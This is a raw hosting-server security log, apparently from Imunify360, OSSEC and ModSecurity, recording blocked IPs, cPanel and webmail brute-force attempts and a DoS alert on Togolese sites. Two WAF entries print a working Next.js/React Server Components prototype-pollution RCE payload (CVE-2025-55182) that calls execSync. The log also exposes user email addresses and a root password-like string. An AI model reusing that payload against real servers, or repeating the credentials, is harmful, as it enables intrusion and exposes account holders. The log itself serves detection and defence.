16.148.126.102 - - [01/Jul/2026:17:43:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343854&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252F223e0c8cca861474d24cfd8905cb5776&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782927780 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/223e0c8cca861474d24cfd8905cb5776" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.140.240.111
country_id: 3469034
description:
Jul  1 17:44:52 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.140.240.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.140.240.111
country_id: 3469034
description:
Jul  1 17:45:00 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.140.240.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.148
country_id: 6252001
description:
2026-07-01 17:45:10 dovecot_plain authenticator failed for H=(ovjs9452ijawzfz0xo806) [23.129.64.148]:45147: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.227.201
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-46.23.81.227.201||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 207.244.117.225
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-47.207.244.117.225||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.249.38
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/lome-accueille-la-premiere-convention-aerienne-africaine/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.136.52
country_id: 587116
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/lome-accueille-la-premiere-convention-aerienne-africaine/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.48
country_id: 3469034
description:
Jul  1 17:49:17 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.234
country_id: 298795
description:
Jul  1 17:49:38 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.234 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
16.148.126.102 - - [01/Jul/2026:17:52:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882473&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782928333 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.50.130.201
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fiscalite-2026-les-innovations-phares-du-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.50.130.201
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fiscalite-2026-les-innovations-phares-du-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.18.127.112
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:212.18.127.112||TA:212.18.127.112||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.100.52.46
country_id: 6290252
description:
[2026-07-01 17:54:12 +0000] info [whostmgrd] 94.100.52.46 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 94.100.52.46
country_id: 6290252
description:
[2026-07-01 17:54:13 +0000] info [whostmgrd] 94.100.52.46 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.108.178.126
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:91.108.178.126||TA:91.108.178.126||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 17:56:39 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:40346: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.45.137.50
country_id: 248816
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/le-lieutenant-colonel-atafai-tchangani-prend-le-commandement-du-corps-des-agents-des-eaux-et-forets/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.45.137.50
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/le-lieutenant-colonel-atafai-tchangani-prend-le-commandement-du-corps-des-agents-des-eaux-et-forets/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 17:59:37 +0000] info [cpaneld] 157.85.210.56 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:00:39 +0000] info [cpaneld] 157.85.210.56 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 101.43.206.117
country_id: 1814991
description:
101.43.206.117 - - [01/Jul/2026:18:04:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250947&pdata=https%253A%252F%252Fvitrinenews.tg%252F2024%252F06%252F12%252Faffaire-amadou-cellou-dalein-et-50-autres-a-letat-de-la-guinee-la-cour-de-justice-de-la-cedeao-donne-sa-decision&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782929083 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2024/06/12/affaire-amadou-cellou-dalein-et-50-autres-a-letat-de-la-guinee-la-cour-de-justice-de-la-cedeao-donne-sa-decision" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:101.43.206.117


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [07/01/2026:18:09:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.247.254.230
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-les-sinistres-des-inondations-dans-les-lacs-assistes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 184.22.230.10
country_id: 1605651
domain: confortis.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:15:52 +0000] info [cpaneld] 157.85.210.56 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 102.64.218.146
country_id: 2363686
description:
Jul  1 18:16:40 ns5 pure-ftpd[2648932]: (?@102.64.218.146) [INFO] New connection from 102.64.218.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:16:09 +0000] info [cpaneld] 157.85.210.56 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.212.171.180
country_id: 2750405
domain: sia-togo.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:17:31 +0000] info [cpaneld] 157.85.210.56 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 217.103.74.216
country_id: 2750405
description:
217.103.74.216 - - [01/Jul/2026:18:19:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684380&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-1699xetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782929957 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-1699xetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:217.103.74.216


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
16.148.126.102 - - [01/Jul/2026:18:19:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053061&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Ff88a609383d0bb0d56f82f4d4e0d2cbc%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782929953 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/f88a609383d0bb0d56f82f4d4e0d2cbc/index.php?cmd=newupld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:20:27 +0000] info [cpaneld] 157.85.210.56 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.103.235
country_id: 2077456
domain: cfpj.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:46.203.103.235||TA:46.203.103.235||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.193.10.98
country_id: 241170
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2025/06/aff68677-a4d6-4d9d-a640-e0d1d2c1f0c2-300x200.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.11.191
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=147 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.5.32.69
country_id: 3895114
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=480 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.206.79.115
country_id: 1831722
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=energies-renouvelables HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.138.111
country_id: 248816
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1347 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.80.209
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&cat=1 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.1.63.19
country_id: 3617476
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1569 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:24:06 +0000] info [cpaneld] 157.85.210.56 - su_docteur "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user su_docteur (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.122.170.10
country_id: 2750405
description:
[2026-07-01 18:28:51 +0000] info [webmaild] 185.122.170.10 - kagbam@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.49.253.74
country_id: 3469034
domain: wellcity.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67719.wellcity.tg||ServerName:wellcity.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4abd4a2ae5709be1654f3d8ecef2aca659f7582e||Title:0xb9affa5f||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.29.220.44
country_id: 294640
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:32:59 +0000] info [cpaneld] 157.85.210.56 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:33:16 +0000] info [cpaneld] 157.85.210.56 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-07-01 18:34:23 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.217.197.139
country_id: 241170
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2022/09/photo_2022-09-06_11-34-49-132x300.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - e.senahounvo@davakconsulting.com [07/01/2026:18:37:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: e.senahounvo@davakconsulting.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.56
country_id: 3469034
description:
Jul  1 18:39:57 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.56
country_id: 3469034
description:
Jul  1 18:40:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.56 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:40:06 +0000] info [cpaneld] 157.85.210.56 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jul  1 18:40:18 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.46.77
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/afreximbank-gcr-confirme-la-notation-a-a2-avec-perspective-stable/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.46.77
country_id: 99237
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/afreximbank-gcr-confirme-la-notation-a-a2-avec-perspective-stable/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.85.187
country_id: 3865483
description:
Jul  1 18:43:32 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.85.187 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.98.103.162
country_id: 6290252
description:
[2026-07-01 18:44:21 +0000] info [webmaild] 141.98.103.162 - layedze@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-07-01 18:45:10 +0000] info [webmaild] 102.176.253.226 - scolarite@ucao-uut.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.30.252
country_id: 2750405
description:
[2026-07-01 18:47:21 +0000] info [whostmgrd] 195.63.30.252 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 18:47:50 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 94.43.180.196
country_id: 614540
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-48.94.43.180.196||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.123.178.124
country_id: 3017382
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ns5mail.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.128.201
country_id: 294640
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:45.145.128.201||TA:45.145.128.201||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.20.96.43
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/remise-de-prix-aux-gagnants-du-jeu-pronostics HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.9.177.78
country_id: 953987
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/recherchemarketing.php HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.212.236
country_id: 798544
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:46.203.212.236||TA:46.203.212.236||


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 77.110.104.60
country_id: 2017370
description:
[2026-07-01 18:55:17 +0000] info [cpaneld] 77.110.104.60 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.110.104.60
country_id: 2017370
description:
[2026-07-01 18:55:15 +0000] info [cpaneld] 77.110.104.60 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 77.110.104.60
country_id: 2017370
description:
Denial of Service (DoS) attack was discovered from 77.110.104.60: 80 connections per 30 seconds to 2083 port.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-07-01 18:56:08 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.61.124.136
country_id: 587116
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/scoring.php HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 209.50.177.45
country_id: 3469034
domain: soena.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:administratoir||User:expirefreenetmas||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 18:57:12 +0000] info [webmaild] 160.242.195.10 - hboroze@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.64.164.131] != Current IP Address [160.242.195.10]


plugin: modsec
rule: 77093094
abuser: 85.11.167.19
country_id: 2750405
domain: bieredjama.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1782932248_5663',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 18:57:23 +0000] info [cpaneld] 157.85.210.56 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 85.11.167.19
country_id: 2750405
domain: bieredjama.snb.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1782932248_8892',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 18:58:44 +0000] info [whostmgrd] 80.248.64.198 - root "GET /cpsess9203795385/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [158.173.157.222] != Current IP Address [80.248.64.198]


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 18:58:57 +0000] info [whostmgrd] 80.248.64.198 PURGE root:fniE2FC0ZeKm7X6S badpass [cookie ip check: IP address has changed: IP Address [158.173.157.222] != Current IP Address [80.248.64.198]]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.159.206
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:172.121.159.206||TA:172.121.159.206||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.76.166.160
country_id: 2542007
domain: www.mediatopnews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mediatopnews.tghttp/www.mediatopnews.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
